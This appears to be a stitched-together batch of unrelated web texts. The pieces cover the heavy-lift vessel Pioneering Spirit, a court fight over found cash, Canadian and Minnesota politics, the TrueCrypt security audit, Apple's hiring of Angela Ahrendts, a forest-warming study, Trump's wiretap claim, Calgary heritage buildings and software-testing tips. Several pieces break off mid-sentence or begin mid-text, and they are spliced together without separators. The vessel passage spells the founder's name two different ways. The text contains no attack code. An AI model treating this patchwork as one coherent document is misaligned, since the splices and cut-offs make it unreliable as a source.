The initial concept, by Allseas’ founder and CEO Edward Hereema,[4] was of a vessel capable of lifting entire platforms, and in 1987 Allseas declared its intention to build it.[7] The initial idea featured two rigidly connected, self-propelled supertankers, with a large slot at the bows enabling it to install platform topsides in one piece. Early designs featured a flotation and ballasting system and active motion compensation system to facilitate a controlled transfer of a topsides’ weight from the vessel to a platform substructure. Allseas developed the original idea to include steel jacket installation, jackets and topsides removal and rigid pipelay capabilities.[8]
The emphasis switched from the conversion of two existing tankers to a new-build hull in 2004, though retaining the catamaran concept.[9] The decision was prompted by a lack of suitable vessels to convert, the lower costs associated with a new-build, and the need to house sophisticated equipment – such as a dynamic positioning system – in the hull.[4]
In 2007, twenty years after the idea was first conceived, Allseas announced plans to build the Pieter Schelte, a twin-hulled platform installation / decommissioning and pipelay vessel.[10] Named after the offshore pioneer Pieter Schelte (father of Heerema), the design featured a lifting system at its bows for lifting platform topsides up to 48,000 t and a lifting system at its stern for lifting steel jackets up to 25,000 t. The design also included pipelay equipment to handle pipe diameters ranging from 6 - 68 inches at water depths exceeding 4000 m (13,100 ft.).[11]
First equipment orders placed [ edit ]
Allseas placed orders for machinery, including generators and thrusters, in 2007, and for the high-tensile steel for the lifting systems in 2008.[12][13]
After the global financial crisis weakened funding, the company was forced to postpone the building schedule and as a result delayed the awarding of the hull construction contract.[14] Finnish engineering company Deltamarin performed detail engineering in 2009.[15]
Construction [ edit ]
Allseas eventually was able to sign the main construction contract in June 2010 with South Korean shipyard Daewoo Shipbuilding & Marine Engineering Co Ltd.[16]
Midway through the build, Allseas decided to widen the vessel by 6.75 m in order to increase the clearance between the bows and the legs of large platforms.[17] As a result the overall width increased from 117 m to 124 m, and the slot width from 52 m to 59 m.
The vessel departed Daewoo in November 2014 and arrived at the Maasvlakte 2, Port of Rotterdam, for completion and commissioning, on January 8, 2015.[18] Pioneering Spirit left Rotterdam on 6 August 2016.[19]
Naming controversy [ edit ]
The vessel was originally named Pieter Schelte after the engineer Pieter Schelte Heerema (1908–1981), the father of Allseas' owner Edward Heerema. The original name caused controversy due to Pieter Schelte Heerema's service in the Waffen-SS during World War II, prior to August 1943. Pieter Schelte Heerema subsequently disappeared and joined the resistance in the Netherlands. After the war, he was arrested and sentenced to jail for three years, because of links to a Dutch company that conscripted slave labourers for the Nazi war effort, according to the Dutch National Institute for War Documentation.[20] The court later released him after one and a half years, because of his "very important services to the resistance between August 1943 and March 1944."[21]
Allseas announced on 6 February 2015 that the vessel’s name would be changed in response to the controversy.[22] That announcement was made on a Friday. The new name, Pioneering Spirit, was announced after the weekend.[23]
Design [ edit ]
[24] Carrying a 5,500 t (6,100-short-ton) test platform in the bow slot (Aug 2016)
Pioneering Spirit is the world's largest vessel, in terms of its gross tonnage (403,342 gt), breadth (123.75 m / 406 ft.), and displacement (1,000,000 t).[4][2] The maximum 48,000 t (47,000-long-ton; 53,000-short-ton) topside lift capacity is achieved by operating as a semi-submersible. For removal of topsides, the vessel straddles the intended payload with the slot formed by the twin bows. The slot measures 122 m × 59 m (400 ft × 194 ft) (L×W). After straddling the payload, Pione |
in the U.S. District Court for the District of Columbia, the money was linked to another passenger aboard the train, a man named Peter Rodriguez, who remained on board until the Amtrak train reached New York City. Rodriguez acknowledged being the owner of the bag, but denied carrying money in it, according to court filings.
In the following months, Rodriguez was arrested for selling controlled substances in New York.
Rodriguez’s mother and her domestic partner formally claimed ownership of the money and asked a court to order officials to hand over the cash to them. The women, Angela Rodriguez and Joyce Copeland, argued they had placed the bag of cash in Peter Rodriguez’s bag without notifying him.
Copeland told investigators she had sold a mink coat to raise some of the cash, according to court filings. The couple said they pooled the cash to purchase a car for a planned move from New York to North Carolina.
A federal judge, in an opinion reviewed by the I-Team, dismissed Rodriguez and Copeland’s claims for the cash. The judge said the couple’s story “defies common sense.”
“The claimants allegedly stored thousands of dollars in cash for months on end despite having access to interest-bearing Citibank and JPMorgan Chase accounts," the judge said in his formal opinion.
“Lastly, and most decisively, the Court rejects as outlandish that Claimants would have left a bag containing $17,900 in Peter’s backpack -- or anywhere else in his apartment -- rather than keep it in their protective custody until it could be spent as intended," the ruling also said.
The good Samaritan who reported finding the cash has not been identified.
News4 was not able to reach Rodriguez or Copeland for comment.A Halifax woman has a creative solution for a conundrum facing thousands of voters across the country — she hasn't decided who to support in the federal election, so she's switching the signs on her lawn every couple of days until she makes a choice.
Jane Davis is rotating her lawn signs between the local Liberal and NDP candidates.
"I'm going to put it right here, so everyone can see it and they're going to say, 'OK, Jane's voting NDP,'" she said.
"But then, two days from now, they're going to see a Liberal sign here and they're going to say, 'What's going on? I thought Jane was voting NDP?'"
Davis says like many in the country, she's torn between parties for the federal election on Oct. 19.
It's still anybody's race. According to a recent Nanos survey, the NDP are at 32.7 per cent, the Liberals at 30.8 per cent and the Conservatives at 26.2 per cent. A month ago, Nanos had the Conservatives five points higher and leading the pack.
One caveat on the Nanos poll is that it was taken in the evenings of Sept. 4, 5 and 6, a long weekend when many Canadians may have been on holiday.
The poll was commissioned by CTV News and the Globe and Mail newspaper and used live agents to phone 1,200 respondents. It has a margin of error of 2.8 percentage points, 19 times out of 20.
'This is my little joke'
"It's a real battle in my mind," said Davis, who added she believes New Democratic Party Leader Tom Mulcair is a "very tough, smart guy" with his "heart in the right place."
"I started to lean NDP and then, after the debate, I was very pleased with how [Liberal Party Leader Justin] Trudeau stood up to them. Still, there wasn't a lot of choice … until Trudeau came up with his deficit spending stimulus program."
Davis is not optimistic about the Conservative Party's chances.
"The Conservatives, for me, are not even a possibility, not even a one out of 1,000 per cent. I wouldn't vote Conservative," she said.
There are four candidates in Davis's Halifax riding. New Democrat Megan Leslie is the incumbent and the Liberals have nominated urban planner Andy Fillmore.
The Conservatives have tapped Irvine Carvery, a former chair of the Halifax Regional School Board who ran for the provincial Progressive Conservatives in Halifax Armdale in 2013. The Greens nominated Thomas Trappenberg, a computer science professor at Dalhousie University.
Davis is leaning toward one candidate, but won't reveal which one. The first sign she put up this week was Leslie's.
"This is my little joke because everybody's going back and forth, back and forth and I just think everyone would get a chuckle over this," she said.JKMEmulator is a small utility that allows you to emulate keyboard and mouse behaviors using a gamepad.
I thought of making it while i was playing around with an “home game-streaming” application,since using a keyboard and a mouse during a…’living room playing session’ can be kind of an hassle.
If you never tried using a standard pc input system while sitting on a sofa…well,i suggest you to try it,it’s one of the things that has to be done once in a lifetime.
The software also allows you to use a controller to play games that natively would not support it.
Screenshot:
Usage:
1) Connect the gamepad to your computer before starting JKMEmulator;
2) Select the gamepad (if multiple) from the top-left box;
3) Start binding! Simply double click on the item that represents
the key you want to bind (a new window will appear),from here
you’ll have 5 seconds to press the gamepad button you want to be used;
4) Click the “Start Emulation” button and…well,enjoy the game!
NOTES:
- To unbind,select the item and then right click on it;
- Items listed in yellow are sharing a binding;
- You can save/delete a binding by clicking the corresponding buttons.
Prerequisites:.NET Framework 4.5, recent Directx version.
Current version: 1.4.0212
Binaries :.NET 4.5 and Directx are required
Installer : includes all prerequisites,the installation process can take a long time
Library used:
SharpDX : A DirectX wrapper which allows the use of the API with.NET
InputManager : A great library made by shynet and posted on CodeProjectThe Co-Main Event Podcast isn’t feeling well, you guys, but Ben and Chad still got it together to record episode 138 for you, the fans. Just too much stuff going on not to give er the ol’ CME try. For starters, Anthony Johnson put those hands on Alexander Gustafsson on Saturday at UFC on Fox 14. End result? We have a new No. 1 contender to Jon Jones’ light heavyweight title. In addition, the cowboy that is Dan Henderson may finally have let the bucking bronco of his professional MMA career ride him off into the sunset. Oh and hey, did you guys know Anderson Silva and Nick Diaz are going to fight this weekend at UFC 183? Yeah, they are, and the guys talk about that, too.
All that, plus MasterTweet Theatre, AYFKM and Just Sayin Stuff.
Direct downloaders can get a peek at Ben’s staph infection right here.
Sounds: This week’s music comes from listener Ben Law and his band Tupunk.If you like what you hear you can check them out at: https://soundcloud.com/tupunk.A cryptanalysis of TrueCrypt, the second half of an audit of the open source encryption software, will involve a small team of experts who will manually audit the code.
Phase two of the TrueCrypt audit figures to be a labor-intensive, largely manual cryptanalysis, according to the two experts behind the Open Crypto Audit Project (OCAP).
Matthew Green, crypto expert and professor at Johns Hopkins University, said a small team of experts will have to, by hand, examine the cipher suites, key algorithms and random number generators used in the open source encryption software.
Green said he hopes to crowdsource experts for the second phase of the audit, attracting people skilled in examining cryptography.
“We’re still flushing out the idea, but it will be a group of people who are well respected in the industry who have done this type of thing on a smaller scale,” Green said, adding he was not yet ready to publicly name them. “We would not be doing this if it were not for these people. We’ve created a series of challenges and we’re going to divide them up. I’m sure it will be fairly successful; we’re still in the planning stages.”
ISEC Partners, the consultants who were hired to conduct the first phase of the TrueCrypt audit that looked at the TrueCrypt bootloader and Windows kernel driver, will not be involved in phase two, Green said, adding that the results for the second half of the audit may not be available for a few months.
The movement to audit TrueCrypt began last fall, a few months after the Snowden leaks began going public. TrueCrypt, which provides full disk and file encryption capabilities, has been downloaded close to 30 million times, making it a tempting target for intelligence agencies that have been accused of subverting other commercial and open source software.
ISEC on Monday released its report on the first phase of the audit and said it found no backdoors in the portions of the software it looked at. There were, however, worrisome vulnerabilities around the quality of the code and build processes.
“The good news is that there is nothing devastating in the code,” Green said. “The auditors said there were problems in code quality and pointed out other legitimate issues. These are not reasons to stop using it.”
One of the first concerns leading to suspicions that the Windows binary version of TrueCrypt had been backdoored was a mysterious string of 65,024 encrypted bytes in the header. Experts wondered why these random bytes were there and whether they could be an encrypted password. Adding to the intrigue was that, aside from the fact the Windows package behaves differently than versions built from source code, no one really knew who the developers behind TrueCrypt are.
In October, however, some of those concerns were laid to rest when Green and OCAP co-organizer Kenneth White, senior security engineer at Social & Scientific Systems, were contacted by the anonymous developers who endorsed the audit. Also, an independent audit of TrueCrypt conducted by Xavier de Carne de Carnavalet of Concordia University in Canada, was able to reproduce a deterministic compilation process for the Windows version that matches the binaries. He concluded TrueCrypt was not backdoored.
“We’re not going to say the issue is closed, but we’re a lot less panicked about it,” Green said. “That doesn’t mean there isn’t something there, it’s just not on my list of things to worry about.”
The relief with the initial results is that there isn’t a widespread bug in the software; while TrueCrypt isn’t deployed on a scale of OpenSSL or Apple software, the recent Heartbleed and so-called gotofail iOS bugs have left some in the security community a little shell-shocked. White, for one, is hoping the cryptanalysis turns up equally positive results as in phase one.
“Our confidence in encryption software is driven by the level of expertise afforded proper peer-to-peer review, by deep experts in the field. And there is a very small group of people who are qualified to conduct this kind of analysis, particularly with the encryption components,” White said. “What they find might be gross errors or might be a trivial single character mistake.”
While very few of these types of public audits have been conducted—perhaps the most high-profile security tool subjected to a public audit was open source private chat application Cryptocat—Green and White see the potential for more of these in the future.
“It’s much harder to do than it seems. It’s not just about getting the money and paying people; you have to find people who are interested doing it. Not every firm is interested in doing a public audit,” Green said, adding that the TrueCrypt audit is the first of its kind that was crowd funded. “We have a good technical advisory board who were willing to put in the time to make this happen. You need good organization with people whose job it is to do this; you can’t do this in your spare time.”
White said future projects are under consideration, but for now 100 percent of their efforts and funding is going toward the TrueCrypt audit.
“I think there is a subset of people who had their minds made up before we started, and have no intention of changing. For me, the appeal of this work has been to begin to establish a framework for conducting community-driven security audits and formal cryptanalysis on open source (or, in the case of TrueCrypt, source-available) software,” White said. “I think if after the final report we can say, ‘We marshaled some of the best minds in the field, and they looked at the code, the crypto, and the implementation and we found [X]’ then that’s a victory. As a privacy advocate, I’m obviously hoping for a clean verdict, but as a security engineer, I remain skeptical until the end.”OCTOBER 28!!!
Century Media broke the news via a press release announcing that the band “has just wrapped up recording, mixing and mastering work.” That means there are people listening to At War with Reality right now. Not an unfinished version. The actual, honest-to-Brockie first At the Gates album in almost twenty years.
Being patient for this one is gonna be a total bitch.
Here’s a quote from vocalist Tomas Lindberg:
“We are very excited to finally have finished this new album. An album that we’ve been working on for over a year now. It’s by far the most challenging record that we have made, but it’s an honest album and I think that you will feel that it is faithful to the legacy of AT THE GATES. “We have, through the process of creating it, been true to ourselves and our art. From hearing the first demos that Anders presented to the band last summer, through the extensive stages of songwriting, pre-production, rehearsals, recording and mixing, we now finally got the finished album in our hands. “We are very happy to have managed to produce an album that we feel is truly ‘us’. Something we can all stand behind one hundred percent. I can’t wait ’til you all get to hear it!”
Is it October 28 yet?
How about now?
What about now?
Now?
NOW?
NOW?!
NOW?!?
Fuck. I’m gonna go drink some Hibernol. Someone wake me up at 11:59 pm on October 27. K thnx.Apple has poached high-profile Burberry chief executive Angela Ahrendts as it seeks to deepen its push into China and looks for new ways to excite consumers about its products.
Ahrendts has been hired for a new role at Apple, taking charge of retail and online stores and reporting to CEO Tim Cook. She will start in the middle of 2014.
The move comes as Apple (AAPL)attempts to improve its fortunes in China, a market in which Ahrendts has had great success in the past.
Apple has been without a head of retail since John Browett, the former Dixon CEO, departed the post in October 2012 after just nine months on the job.
Despite being its largest market outside the U.S., Apple has struggled in China. The recently launched iPhone 5C, a cheaper model of its iconic smartphone, was designed in part to appeal to Chinese buyers seeking a more affordable product but sales of the device have disappointed.
Ahrendts was the highest paid CEO in the U.K. last year.
By joining Apple she'll become one of the highest profile women executives in technology, alongside Sheryl Sandberg at Facebook (FB) and Marissa Mayer at Yahoo (YHOO). Her departure will leave the U.K. with only two women at the top of FTSE 100 companies.
Related: Apple looks to regain footing in China
Speculation about a possible tie-up between Apple and China Mobile (CHL) has gathered steam in recent months, but a deal still eludes the tech giant.
A partnership would help the Apple grow its presence in the Chinese smartphone market -- where it holds just 5% -- and the iPhone ranks behind Samsung (SSNLF) and other local brands including Lenovo (LNVGF), Xiaomi and Huawei and ZTE.
The company will hope Ahrendts can help change that. Appointed Burberry (BBRYF) chief executive in 2006, American-born Ahrendts has been credited with turning around the luxury fashion brand and expanding its presence in Asia.
Under her leadership, Burberry's market value has increased to £7 billion from £2.1 billion. That expansion was driven in large part by a boom in sales of luxury goods like trench coats, handbags and shoes, to Asia.
The brand embraced digital and social media to make luxury goods more accessible far more quickly than many of its high-end competitors.
Related: China gives Burberry a boost
Ishaq Siddiqi, market strategist at ETX Capital in London, said given her track record in emerging markets and digital retailing, Ahrendts hire is a smart move for Apple.
"She geared the expansion of Burberry to China and emerging markets," he said. "Ahrendts knows the emerging market world far better than most executives... that's why Tim Cook has chosen her," Siddiqi said.
Christopher Bailey will become Burberry's new chief executive officer, in addition to current responsibilities as chief creative for the fashion brand.
Burberry (BBRYF) investors reacted badly to the news, with shares falling more than 4% in London trading. Apple (AAPL) shares were up about 1% in midday trading.Some of the world’s most iconic locations created in Lego bricks will be on show in a Nottinghamshire art gallery.
The Harley Gallery, on the Welbeck Estate, north of Mansfield will showcase Warren Elsmore’s Lego creations from January 22 to April 2 2017.
There will be more than 70 structures, on display for his latest book ‘Brick Wonders’ which is the sequel to the artist’s hugely popular ‘Brick City’, which the gallery exhibited last year.
Mr Elsmore has created the seven Ancient Wonders and other iconic sites such as the Great Wall of China, Victoria Falls, Stonehenge and the Great Barrier Reef in Lego bricks.
Some of the LEGO models on display 1 of 12
The exhibition is designed to teach creativity and expression.
Mr Elsmore said: “I’ve been a fan of Lego ever since I was a little kid and 2012 was when I got the chance to use my enthusiasm in a professional way, I was commissioned by Lego to build the whole Olympic Park on behalf of the Danish Tourist Board.
“It was a big project that took about 300 hours.
“We wanted to cast the net quite wide and as well as including the seven Ancient Wonders of the world, there are wonders of the ‘modern’ world such as old London Bridge.”
Lisa Gee, Gallery director, said: “2017 is a very exciting year for the Harley Gallery.
“As well as the return of firm favourites, including Lego and Harley Open Exhibition, we are celebrating the first anniversary of The Portland Collection gallery in March.”
(Visited 895 times, 1 visits today)John Whittingdale will also back Clementi report’s recommendations that BBC Trust should be scrapped and regulation of the corporation handed to Ofcom
Culture secretary John Whittingdale is expected to warn of the dangers of adblocking for the newspaper industry in a speech on Wednesday.
Speaking a day after the publication of an independent report into BBC governance, Whittingdale is also set to back the Clementi report’s central recommendations – that the BBC Trust should be scrapped and regulatory oversight of the corporation handed to Ofcom.
Whittingdale’s speech at the Oxford Media Convention comes in the wake of the announcement that the Independent will drop its print edition and other signs that the shift online is causing havoc with newspaper revenues.
Report urges end to 94 years of BBC self-regulation Read more
A report earlier this week showed that more than 9 million Britons use adblockers, which cut a further source of online revenue for the newspaper industry.
Coming a day after the DCMS published a report into the impact of BBC entertainment on commercial rivals, however, the culture secretary’s speech will fuel concerns within the BBC that the department is focusing on its possible impact on the market.
The fact that Whittingdale is not expected to focus exclusively on the BBC and broadcasting in his first major speech for months is likely to fuel fears that the white paper renewing the BBC’s royal charter has not even been drafted. There are increasing concerns that the planned EU referendum in June has caused further delay.
A report by the Commons culture, media and sport select committee earlier this year warned that publishing the white paper in July would not leave enough time for parliamentary and public debate.Dartmouth-Hitchcock Medical Center is trying to prevent the spread of a skin condition known as crusted scabies. Also called Norwegian scabies, the disease is non-life threatening and easily treatable if caught in time.
It starts with an infestation by the human itch mite, and is usually spread by prolonged skin-to-skin contact with another person. But in people with compromised immune systems, including the elderly, it can be more severe, and more easily transmitted through casual contact with the patient or the environment. Symptoms include intense itching and a pimple-like rash but may take as long as 4-6 weeks to appear in a person who has not had scabies before.
Dartmouth-Hitchcock has discovered one case in a patient. That means some Medical Center staffers and visitors may also be at risk. So, following recommendations from the Centers for Disease Control, the hospital will offer free screening clinics and prophylactic treatment, including a topical skin cream, to anyone who may have been exposed to the scabies during the last two months. The clinic will also offer laundry and housecleaning instructions.
Staff members and former patients and their families who have had contact with the infected patient have been notified about risk of infection. There is also a public inquiry line through the New Hampshire State Department of Health and Human Services to answer questions. That number is 603-271-9461, and it is available between 8 a.m. and 8 p.m. though Monday, Oct. 6. Medical Center employees may report suspected cases at 603-653-3850.
The hospital clinics are scheduled for Friday, Oct. 3 from 6:30 a.m. to 7:30 p.m. and Saturday, Oct. 4, from 7 a.m. to 1 p.m. in Auditorium C-D in the main hospital. These are primarily intended for people and family members who have worked at or visited with the hospital. Officials say there is no general public health risk at this time.Republican lawmakers moved late Monday evening to send DFL Gov. Mark Dayton their own preferred budgets — abandoning, for now, attempts to find compromises in crafting Minnesota’s two-year, $46 billion budget.
The GOP budgets will have a short life if they end up on Dayton’s desk.
“I’d veto them all,” the governor said Tuesday morning. Dayton and his commissioners have broadly and specifically criticized their proposals — both for their lack of spending on programs he believes are critical and for policy provisions included alongside the money.
On Tuesday morning, Republican leaders said they needed to act because they had reached an impasse with Dayton.
“The conversations with the governor have been good, but we also don’t feel like the governor’s been working at a pace that’s quick enough to get the work done on time,” said House Speaker Kurt Daudt, a Crown-area Republican.
Dayton said the Monday night moves, which may be followed by quick passage of the measures on the House and Senate floors, could be a tactic.
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Federal money for election security again tied up in Minnesota Legislature “I am hopeful that those who are in the legislative leadership have the ability, resolve, and political courage to come back to the table so we can finish the job Minnesotans sent us to Saint Paul to do on their behalf,” Dayton said.
On Tuesday morning, Daudt and Republican Senate Leader Paul Gazelka, who lives near Nisswa, said Republicans are prepared to pass their budgets but could hit pause. Everything depends, they said, on how an early afternoon meeting with Dayton goes.
If the two sides make progress Tuesday, negotiations could resume. If they don’t, then Daudt said their budgets are “ready to be passed.”
“We’re not giving up, we’re just saying we’ve got to get moving,” Gazelka said.
The turn toward confrontation comes with just under two weeks left in the legislative session, and just under two months until any unfunded parts of the Minnesota state government would shut down. It immediately follows a brief meeting Monday afternoon, when Dayton made written offers to Republicans on several of the smaller parts of the budget.
In those offers — which covered only four of the state’s 10 budget areas — Dayton reduced his proposed spending by about $50 million. More than $350 million still separated the Democratic governor from the Republican legislators in those four parts of the budget.
“The steps were so small on the smallest bills that we didn’t know how we could possibly get there,” said Gazelka. “I think they were sincere first offers, but they were unacceptable and would not lead to getting done on time.”
Monday afternoon, upon leaving a meeting with Dayton, Gazelka and House Speaker Kurt Daudt said they planned to make a counteroffer Tuesday.
“I feel like the conversations are going well,” Daudt said Monday afternoon.
But good feelings seemed to be abandoned as evening came. After dark, with no budget hearings or advance notice, the Legislature finalized most of their budget measures for votes as soon as Tuesday, the precursor to delivering them to Dayton. The governor found out about the move Monday night from aides monitoring Twitter.
Specifically, legislative leaders had members of joint committees negotiating compromises on the budget sign off on GOP-written versions of the bills. Last week, committees had adopted the GOP language as a prelude to further talks with Dayton. But leaders said at the time that action wasn’t final.
Daudt has repeatedly said this year that he planned to conduct this year’s legislative session in an open and transparent manner, while Gazelka has said he wants to have a constructive relationship with Dayton and not pass bills the governor would veto.
Senate Minority Leader Tom Bakk, a Democrat from near Cook, said the legislative action of this week may not be terribly consquential in the end.
“I actually believe this is just a sideshow,” he said.
Enacting another traditional legislative act, Dayton will go fishing with the Republican legislative leaders — and Gazelka’s daughter, Lydia — this weekend.
“We’re going to rely on Lydia Gazelka to be the peacemaker,” Dayton joked.CLOQUET, Minn. — Minnesota’s northern forests will look much different in coming decades as a warming climate encourages tree species like oaks and maples and pushes others, including spruce and fir, out of the region.
That was the finding of a University of Minnesota study published this week in the journal Nature Climate Change that used growing plots near Cloquet and Ely and added the amount of warmth expected later this century.
The study was the first of its kind in a northern forest to use ceramic heaters to warm the air near newly planted seedlings as well as heating cables in the ground.
The results were that species like spruce and fir that thrive in cooler areas suffered poorer growth and survival when warmed just a few degrees — up to a 40 percent decline in growth.
The study compared trees exposed to the actual temperature over three growing seasons to trees that were exposed to temperatures 3 degrees Fahrenheit above the actual air temperature and other trees that got a nearly 6 degree warm-up. That’s the warming range climate scientists say we can expect by the end of the century if climate change continues at the current pace.
Meanwhile trees like oaks and maples did better under warmer conditions — up to 15 percent better under the warmest conditions. The study found that aspen, birch and pines had little reaction to increased temperature.
The results were consistent at both the Cloquet and Ely test plots, said professor Rebecca Montgomery, a University of Minnesota forest ecologist and co-author of the study.
“We saw some pretty substantial differences as heat was added, not just because of the warmth but because that impacts how much water the trees use,” Montgomery said. “We used northern Minnesota nursery stock to simulate how the temperatures are going to affect the forest of the future.”
The results are similar to other studies that forecast rapidly changing forests in Minnesota as some species move north and out of the state and southern species become more prevalent. Nearly the same predictions were made in a study released last June by the U.S. Forest Service’s Northern Research Center. But while most studies use computer models to predict future forests, the University of Minnesota effort actually warmed real, growing trees in the forest to see how they reacted during the growing season — from April to November.
Led by professor Peter Reich of the university’s Forest Resources Department, scientists simulated the effects of a warmer climate on 11 species on 72 plots containing about 4,100 young trees of local Minnesota origin. Researchers monitored growth rates of the trees as well as how efficiently they converted sunlight into energy, the process known as photosynthesis.
The added heat was constantly adjusted, the scientists noted. If it was 35 degrees outside, the experimental trees saw temperatures of 38 and 41 degrees. And if it was 90 degrees, they saw 93 and 96.
In addition to being directly affected by warming, researchers found that spruce and fir might also struggle to compete for sunlight and water with neighboring trees and plants as the climate changes.
The project did not examine how warmer winters might affect trees and other plants, but the researchers note that winter conditions could amplify the effects being seen in this study.
The results also indicated that a warmer climate is likely to accelerate the northward invasion of non-native species like buckthorn.
Scientists say it’s unclear if the advance of southern species will occur fast enough to fill-in for species that can’t handle the warmer temperatures.
“In the best-case scenario, oaks and maples will become more dominant as boreal species decline, and we will have a different, but still functional forest,” Reich said in announcing the results. “In the worst-case scenario, oaks and maples will not replace the declining species fast enough, and our forests will be patchy and perhaps filled with invading buckthorn.”
Some groups, including the Nature Conservancy, already are working to plant more species like oak and maple in recently logged areas of northern Minnesota to give them a head start for warming conditions.
Reich predicts the change in the forest “will influence everything from the supply of timber to habitat for wildlife to its allure for recreational use and tourism.”Richard Burr and Mark Warner report ‘no indications that Trump Tower was the subject of surveillance’ following similar assessment by House counterparts
The Republican and Democratic leaders of the Senate intelligence committee have rubbished Donald Trump’s incendiary claim that Barack Obama placed Trump Tower under surveillance.
“Based on the information available to us, we see no indications that Trump Tower was the subject of surveillance by any element of the United States government either before or after election day 2016,” the Republican Richard Burr of North Carolina and the Democrat Mark Warner of Virginia said in a joint statement on Thursday.
House intelligence chiefs: we have seen no evidence for Trump's wiretap claim Read more
Burr and Warner helm one of the congressional committees investigating ties to Russia by Trump’s associates. Those unfolding inquiries have expanded their focus to include Trump’s evidence-free accusation, made on Twitter on 4 March, that Obama ordered surveillance of his eventual successor.
Their counterparts on the House intelligence committee, the Republican Devin Nunes and the Democrat Adam Schiff, both of California, announced the same conclusion on Wednesday.
“We don’t have any evidence that took place,” said Nunes, a crucial Trump ally and member of his national security transition team, who nevertheless fanned the flames of Trump’s theory in a press conference.
“Are you going to take the tweets literally? And if you are, then clearly the president was wrong. But if you’re not going to take the tweets literally – and there is a concern that the president has about other people, other surveillance activities looking at him and his associates, either appropriately or inappropriately. We want to find that out,” Nunes said.
Trump created a political firestorm on 4 March in a series of tweets that called Obama a “bad (or sick) guy” for an allegation that, from the start, US officials called groundless and Obama unequivocally denied.
“Terrible! Just found out that Obama had my ‘wires tapped’ in Trump Tower just before the victory. Nothing found. This is McCarthyism!” Trump tweeted.
Under existing surveillance law, the president of the United States does not have the power to order Americans surveilled. Security agencies seeking to conduct surveillance on Americans for counter-espionage or counter-terrorism purposes require a court order. Accordingly, Trump’s claim entailed an accusation that Obama and the security services had committed a felony.
James Clapper, who stepped down as director of national intelligence in January, has said no such order was ever issued.
It is legal to acquire Americans’ communications in the course of routine surveillance on foreign officials, as in the case of the Russian ambassador being in touch with the former national security adviser Michael Flynn.
Trump, in a Fox News interview on Wednesday, did not back down from the accusation but misattributed it to a New York Times report in January about intercepted communications and financial records concerning Trump associates and Russian officials.
Asked why he had not relied on US intelligence for a claim with extraordinary legal implications, Trump bizarrely stated: “Because I don’t want to do anything that’s going to violate any strength of an agency.”
As the seriousness of Trump’s accusation settled on Washington, Trump’s aides struggled to defend it, and added more baroque claims atop it. Trump’s adviser Kellyanne Conway referred in an interview with the Bergen Record to “microwaves that turn into cameras”, something the White House subsequently claimed was a joke.
On Thursday, the White House press secretary, Sean Spicer, challenged the conclusion of the intelligence committees in a combative press conference, in which he insisted there was information of which Congress was not yet aware.
“The House and the Senate has not been provided all of the information,” a visibly frustrated Spicer told reporters on Thursday, while adding: “The Department of Justice has yet to supply this.”
Despite Spicer’s assertion, the White House has yet to offer any evidence to back up Trump’s charge – either to members of Congress or the American public. At his press briefing, Spicer implied once again that the president’s claim was derived from “what other stations and people have reported”, even though there has been no credible reporting that Trump was wiretapped.
Spicer nonetheless refused to walk back Trump’s statement. “He stands by it,” Spicer said.
While the FBI has kept silent on Trump’s claim, its director, Jim Comey, is slated to testify on the Russia investigation on Monday before Nunes and Schiff’s committee, where he is almost certain to face questions about placing Trump and his associates under surveillance.
The House speaker, Paul Ryan, backed the findings of the intelligence committees, saying he had “seen no evidence” of Trump’s allegation against Obama.
“The intelligence committees, in their continuing, widening, ongoing investigation of all things Russia, got to the bottom – at least so far with respect to our intelligence community – that no such wiretap existed,” Ryan told reporters on Thursday on Capitol Hill.From the rundown Cecil Hotel to the classy Barron Building theatre, city council has been eyeing the fate of decades-old buildings as developers seek downtown space. On Historic Calgary Week, the Herald’s Dylan Robertson looks at how this booming city decides what to keep, and the people immersed in that process. In Bob van Wegen’s childhood, Stephen Avenue was a different place. Vagrants slept under verandas while multiple shops sold drug paraphernalia. “It was kind of a creepy place,” he said, recalling the ’60s and ’70s. “You’d have people walking by whispering: ‘Hash?’ ” Nowadays, locals take visiting guests for a stroll down the dynamic pedestrian mall. Original sandstone buildings span City Hall to 4th Avenue S.W., where century-old facades house fancy restaurants and boutique shopping. “Now it’s really a central point for the city, and it’s got so much heritage,” says van Wegen, an independent heritage planner who just finished a two-year term with the city. “You’d be surprised how well you can preserve these things.”
Stephen Avenue in about 1912. Courtesy, Glenbow Archives When city council moved last month toward slating the Cecil Hotel for redevelopment, many welcomed the prospect of knocking down a rundown building synonymous with violent crime.
Calgary Public Library archives. But a community of citizens, planners and historians — mobilized through two decades of demolitions and saves — are watching the site carefully. “A lot of people associate that building with the social issues around there, but it’s got some potential,” says van Wegen. “It might have to go, but we need to be sure about that first.” A rallying cry Scores of alumni protested their school’s demolition over a frigid winter in 2002. Since 1909, St. Mary’s School’s red bricks towered over the Beltline, serving as a girls’ school and eventually a pastoral centre. After nine decades of use, trustees voted to knock down the school to save on maintenance costs, rather than restore it.
St. Mary's School from a post card published by the Valentine & Son's Publishing Co. Graduates marched around the construction-site fencing with signs, demanding the board spare a school with unique attributes. A developer offered to buy the building and move it; the board declined. A preservation group scrambled in vain to get the building historical status. A wrecking ball toppled the structure in 2002. Three years later the board opened a new, larger school on the site called Our Lady of Lourdes, attaching the original tower and cornerstones to an artificial facade. “It’s a Frankenstein version of the original,” said Van Wegen, who said the school has limited heritage value. Scott Joliffe, chair of the Calgary Heritage Authority — the city’s arms-length consultation board who works with developers — calls it Calgary’s “Penn Station moment,” referring to the grand New York City terminal that was demolished in 1963 and replaced with a dreary structure, sparking greater protection of historical buildings. Months after the new school opened, the Lougheed Block’s Grand theatre was spared destruction. A sympathetic developer swooped in last-minute to preserve the window-gridded brick building, which had stooped from Western Canada’s |
testing the most, smoke tests are great candidates for automation.
Results: Don’t be fooled by the results. If a result shows that a test failed, investigate it before throwing up a flag.
All projects have a mistake of some kind so I thought I’d see what other people felt were common mistakes as well. I would like to thank all the contributors on Twitter & LinkedIn for taking the time to respond to the question/tweet. Below are the responses I received back with my comments (in purple of course):
Response from @michael_d_kelly on Twitter:
A common mistake I make is to get tunnel vision on the specific changes being made in a release, ignoring other quality criteria I agree, there are times that a person is so focused on one piece that they forget to look at the big picture.
Response from @aegeansys on Twitter:
Ignoring the fact that a certain bug fix is a feature, treating it as a normal bugfix and not adjusting the testing accordingly. When a bug/defect is a marked as a feature the requirements should also be updated. I have seen times where test cases are updated but the requirements are not.
Response from Vinodh Sen Ethirajulu on LinkedIn:
1. Functional test plan must be written by a tester and reviewed by a domain expert /business analyst. This must be withheld from the developer. This is intentional. A test plan should be sent to all project team members so everyone knows what the testing group is planning on testing.
